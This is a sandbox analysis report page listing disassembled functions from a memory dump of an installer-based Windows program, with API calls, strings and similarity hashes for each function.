Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeaveObjectSingleWait
String ID: v
API String ID: 501323975-3261393531
Opcode ID: 1248e0c544c4a2bc00cde65a4465c5a87ee43f3ff212a314dba870a283c7c5a4
Instruction ID: 993cd9db30e5ddad43966eb4e66ee9d6770de277bb73f32bb820cc63cab7ac67
Opcode Fuzzy Hash: 1248e0c544c4a2bc00cde65a4465c5a87ee43f3ff212a314dba870a283c7c5a4
Instruction Fuzzy Hash: 81E06D36552324EBCB215F90EC19ACEBB25EF06B51B141010B60AD2370CB71AD018BF9

Uniqueness

Uniqueness Score: -1.00%

Function 00C32610 Relevance: 6.4, APIs: 4, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

Part of subcall function 00C32400: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000010), ref: 00C3242D

_wcsrchr.LIBVCRUNTIME ref: 00C3267E
_wcsrchr.LIBVCRUNTIME ref: 00C326DE
_wcschr.LIBVCRUNTIME ref: 00C32972
_wcschr.LIBVCRUNTIME ref: 00C329FF

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer_wcschr_wcsrchr$FileHeapModuleNameProcess
String ID:
API String ID: 1360097548-0
Opcode ID: 6d60ff5796008501b4823dcf731788c623cb4ca478b270766d0d7d63f6c13516
Instruction ID: 087436c3fde9e054bcba1b7e4e3ed8c4bd5550030339da95bc6c5fdf0b93bcaf
Opcode Fuzzy Hash: 6d60ff5796008501b4823dcf731788c623cb4ca478b270766d0d7d63f6c13516
Instruction Fuzzy Hash: A7F1B371A006099FDF10DFA8C859B9EFBF4FF45324F148269E815AB2D1DB70AA44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C34520 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,?,?,00000000,00000000), ref: 00C3457F
GetLastError.KERNEL32(?,?,00000000,00000000), ref: 00C3458C
WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00C345A9
WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00C345CB

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 93274c22406da3dd58b675c2439c6138ce331b07d57dda1a50b02ef4b1dd28b7
Instruction ID: 1f7bc1a98cbae48618d680ac54f8af85e798a72a07ecea4812107a04579b7951
Opcode Fuzzy Hash: 93274c22406da3dd58b675c2439c6138ce331b07d57dda1a50b02ef4b1dd28b7
Instruction Fuzzy Hash: 5F3108B6B50309BBD7149F54EC82F5AB79CEF55B44F200129FA05972C0DB71BE158AA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B31790 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(7E4AB622,7E4AB622,?), ref: 00B317CF
EnterCriticalSection.KERNEL32(?,7E4AB622,?), ref: 00B317DC
LeaveCriticalSection.KERNEL32(?,?,00000000,?), ref: 00B318B3

Strings

v, xrefs: 00B318B3

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 144247ffbeecc97dbc810f4d126a13abb2064f3b24b68c9db7d8c78d56329aa2
Instruction ID: 0e6408b1ed948aae961a5be5998483ec5f775fd4117b0f979a81d46902516d80
Opcode Fuzzy Hash: 144247ffbeecc97dbc810f4d126a13abb2064f3b24b68c9db7d8c78d56329aa2
Instruction Fuzzy Hash: B841C335600745CFCB218F68C940BAABBE9EF55310F2449A9E996D7391CB31AD06CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00B315C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,7E4AB622), ref: 00B3162A
EnterCriticalSection.KERNEL32(?,7E4AB622), ref: 00B31637
LeaveCriticalSection.KERNEL32(?), ref: 00B31688

Strings

v, xrefs: 00B31688

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 238ddaf6adca789bdf98ad394a825cc00835595f1682a55246e2c5fb0fa81bcd
Instruction ID: b2485829169c67bd6ce0dea2b188ba14abe89d80162237a4eb367d28ae0892c5
Opcode Fuzzy Hash: 238ddaf6adca789bdf98ad394a825cc00835595f1682a55246e2c5fb0fa81bcd
Instruction Fuzzy Hash: 3221BF36900344DFDF11DF64C941BE9BBB8EF26324F2405A9E959AB382D7325906CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B316B0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,7E4AB622), ref: 00B3171A
EnterCriticalSection.KERNEL32(?,7E4AB622), ref: 00B31727
LeaveCriticalSection.KERNEL32(?), ref: 00B3176E

Strings

v, xrefs: 00B3176E

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 0052c9b9b65316381e491f707ae09143e33c295ff394f8e40b817a5141054927
Instruction ID: 29d2ce3d92693e5a758f364cd2ac97799924aa2d37280cc2dde137297638699c
Opcode Fuzzy Hash: 0052c9b9b65316381e491f707ae09143e33c295ff394f8e40b817a5141054927
Instruction Fuzzy Hash: 0321E076900344DFCB11DF64C840BA9BBB4FF16324F2006A9ED55AB382D7315D06CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B31500 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,7E4AB622,?), ref: 00B3155D
EnterCriticalSection.KERNEL32(?,7E4AB622,?), ref: 00B3156A
LeaveCriticalSection.KERNEL32(?), ref: 00B31592

Strings

v, xrefs: 00B31592

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID: v
API String ID: 3991485460-3261393531
Opcode ID: 095322b49c0a6e53adb169dcdd0980207ef5afa00e3540a37c9f89a6c576282c
Instruction ID: a6ed427100ecac16d96949d56c7c968dad98bb76e0d3701976cf9b0915f795e2
Opcode Fuzzy Hash: 095322b49c0a6e53adb169dcdd0980207ef5afa00e3540a37c9f89a6c576282c
Instruction Fuzzy Hash: 6521A2769043449FCB11DF68D940BAEBBB4EB66224F2006A9D856A7341D7325A0ACBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B1AD50 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 315synchronizationCOMMON

Download Yara Rule

APIs

CreateEventExW.KERNEL32(00000000,00000000,00000001,001F0003,?,00000000,00000000,00000000,?,?), ref: 00B1B08B
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B1B0CB

Part of subcall function 00B1B6E0: GetProcessHeap.KERNEL32(?,00000000,00D3744C,00D3744A,?,?,?,00000000,7E4AB622,?), ref: 00B1B7D6
Part of subcall function 00B1B6E0: HeapFree.KERNEL32(00000000,?,00000000,00D3744C,00D3744A,?,?,?,00000000,7E4AB622,?), ref: 00B1B7DC

Strings

:, xrefs: 00B1B157

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$CreateEventFreeObjectProcessSingleWait
String ID: :
API String ID: 2599534607-336475711
Opcode ID: adc15cc29b4435945ccd319e81dd4b026240ced86ab940a2d6d079cfbc80690c
Instruction ID: d06134ab2c7961830a3317c81eb71939d3644d5c00e04f880104c68626c88720
Opcode Fuzzy Hash: adc15cc29b4435945ccd319e81dd4b026240ced86ab940a2d6d079cfbc80690c
Instruction Fuzzy Hash: F6E16B70C0528CEEEB01DBA8C5597EDBFF0AF15308F648199D0506B2C2D7791B89DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D2D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 207threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00B6D43C

Strings

AI_HIDE_CAPTION_ICON_AND_TEXT, xrefs: 00B6D3E0
AI_HIDE_CAPTION_ICON_AND_TEXT_ALL, xrefs: 00B6D369

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CurrentThread
String ID: AI_HIDE_CAPTION_ICON_AND_TEXT$AI_HIDE_CAPTION_ICON_AND_TEXT_ALL
API String ID: 2882836952-1831360935
Opcode ID: 53c5ef9e6cbc5b715fbec0cf8dc46523743aa39783ed11f2824ed9a4dc6d0efd
Instruction ID: 94863c884494c90b3b56104f59e813bb3509e37a58524cc7fe2a2d330c85e0fd
Opcode Fuzzy Hash: 53c5ef9e6cbc5b715fbec0cf8dc46523743aa39783ed11f2824ed9a4dc6d0efd
Instruction Fuzzy Hash: D8818F31A01248DFCB15EF68C995BEDBBF5AF55300F1441E8E905AB392DB74AE04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B827E0 Relevance: 5.4, APIs: 4, Instructions: 419memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000004), ref: 00B829F6
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000004), ref: 00B829FC

Part of subcall function 00B846D0: GetProcessHeap.KERNEL32(?,?,7E4AB622,00000000), ref: 00B8478A
Part of subcall function 00B846D0: HeapFree.KERNEL32(00000000,?,?,7E4AB622,00000000), ref: 00B84790

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B82C07
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B82C0D

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: d606e1e8a9500d711ea864c521343b7a5326c4f48257859d35971b94a796c74a
Instruction ID: 5d47a22533c96e69a07ab23e1ddb12061743ff682f3a93d0c49b72d346b820a8
Opcode Fuzzy Hash: d606e1e8a9500d711ea864c521343b7a5326c4f48257859d35971b94a796c74a
Instruction Fuzzy Hash: 0CF17A70D00249DFDB18EFA8C955BEEBBF4FF05314F2041A9E411AB291DB74AA44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C445F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D125BF,000000FF), ref: 00C44773
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D125BF,000000FF), ref: 00C44801

Strings

<< Advanced Installer (x86) Log >>, xrefs: 00C446DF

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$CloseCriticalDeleteHandleHeapProcessSection
String ID: << Advanced Installer (x86) Log >>
API String ID: 3699736680-396061572
Opcode ID: f94dd67df02cc98f8949e3676583d7a3fd0c7651dc484e49b78548a9c81530c0
Instruction ID: 88fe4a60ee96a9f4ee0320654dcec4ffb600f671bee0519b3f98d34ca5c22add
Opcode Fuzzy Hash: f94dd67df02cc98f8949e3676583d7a3fd0c7651dc484e49b78548a9c81530c0
Instruction Fuzzy Hash: 0C619E70905685DFDB00CF68D94479EBBF4FF45724F2482A9E410DB791DBB49A48CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B61370 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 00CA9842: EnterCriticalSection.KERNEL32(00DB9EA0,-00000010,?,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?), ref: 00CA984D
Part of subcall function 00CA9842: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19EC6,00DBAAD4,7E4AB622,?,?,00CD191D,000000FF,?,00B1CB1F,7E4AB622,-00000010,?,?,00000008), ref: 00CA988A

__Init_thread_footer.LIBCMT ref: 00B614CD

Part of subcall function 00CA97F8: EnterCriticalSection.KERNEL32(00DB9EA0,?,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9802
Part of subcall function 00CA97F8: LeaveCriticalSection.KERNEL32(00DB9EA0,?,00B19F37,00DBAAD4,00D2A720), ref: 00CA9835

Strings

ItemData, xrefs: 00B61532
Windows.UI.Xaml.Controls.ListViewItem, xrefs: 00B61496

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: ItemData$Windows.UI.Xaml.Controls.ListViewItem
API String ID: 4132704954-2445763458
Opcode ID: 9ecfad30002ac916915e2ab1c2c56bda6278930261dc5edf35ba71da10e6b782
Instruction ID: 98959c3c6d02aa492df714bf43cdd64f1122211545779d5ced5aebe027fd1087
Opcode Fuzzy Hash: 9ecfad30002ac916915e2ab1c2c56bda6278930261dc5edf35ba71da10e6b782
Instruction Fuzzy Hash: B771CD70901289EFDB14CFA8C905BDEBBF0FF14318F1446A9E415A7381D7B96A08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C653E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00000000,00000000,00000001,_pbl_evt,00000008,?,?,00D4E9CC,00000001,7E4AB622,00000000), ref: 00C6548E
CreateEventW.KERNEL32(00000000,00000001,00000001,?), ref: 00C654AB

Strings

_pbl_evt, xrefs: 00C65462

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Event$CreateOpen
String ID: _pbl_evt
API String ID: 2335040897-4023232351
Opcode ID: 354bd875328a5b4e84e72a4d6b7efc09842279ecf9169e35d9d3639f95089eb1
Instruction ID: ff46cd3f184b08f8215396c8c3c9bc5c8f804df8c0e2b508de203f458f58f686
Opcode Fuzzy Hash: 354bd875328a5b4e84e72a4d6b7efc09842279ecf9169e35d9d3639f95089eb1
Instruction Fuzzy Hash: 21313A71D44208EFDB20DFA8C945BEEB7F4EF18714F508259E811B7280DB746A49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AF40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00C0AF6B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00C0AFCE

Strings

bad locale name, xrefs: 00C0AFF1

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: beadf4128b17a6bb369ce530580bbdef9d798168ec82ffea09bb5f247aa7b397
Instruction ID: 744ed2cc9998d8d9f55ab83a99cbba1c66449f16c8cd9a5196716116a7d8d532
Opcode Fuzzy Hash: beadf4128b17a6bb369ce530580bbdef9d798168ec82ffea09bb5f247aa7b397
Instruction Fuzzy Hash: 61212170A09784DFD720CF68C90074BBBE4AF15704F04869DE49AD7B82D7B6EA04DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CA8B70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B28020: InitializeCriticalSectionAndSpinCount.KERNEL32(00DB9E24,00000000,7E4AB622,00B10000,Function_001C1390,000000FF,?,00CA8B9F,?,?,?,00B16508), ref: 00B28045
Part of subcall function 00B28020: GetLastError.KERNEL32(?,00CA8B9F,?,?,?,00B16508), ref: 00B2804F

IsDebuggerPresent.KERNEL32(?,?,?,00B16508), ref: 00CA8BA3
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00B16508), ref: 00CA8BB2

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00CA8BAD

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 450123788-631824599
Opcode ID: bfdaad5cb79bc42b28d49297361bfa0ac25c6b518aaa0874246784a3279217a5
Instruction ID: 860e832a65780cd656f2c7f86804f1643b4118a28c22a30a64a489e56b9fdd2c
Opcode Fuzzy Hash: bfdaad5cb79bc42b28d49297361bfa0ac25c6b518aaa0874246784a3279217a5
Instruction Fuzzy Hash: CBE06DB02007618FE720AF25F808B467AE1AF28748F00895DE495C6744DBF0D8488BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00B55920 Relevance: 5.2, APIs: 4, Instructions: 235memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?), ref: 00B55B21
HeapFree.KERNEL32(00000000,?,?), ref: 00B55B27
GetProcessHeap.KERNEL32(?,?), ref: 00B55BB3
HeapFree.KERNEL32(00000000,?,?), ref: 00B55BB9

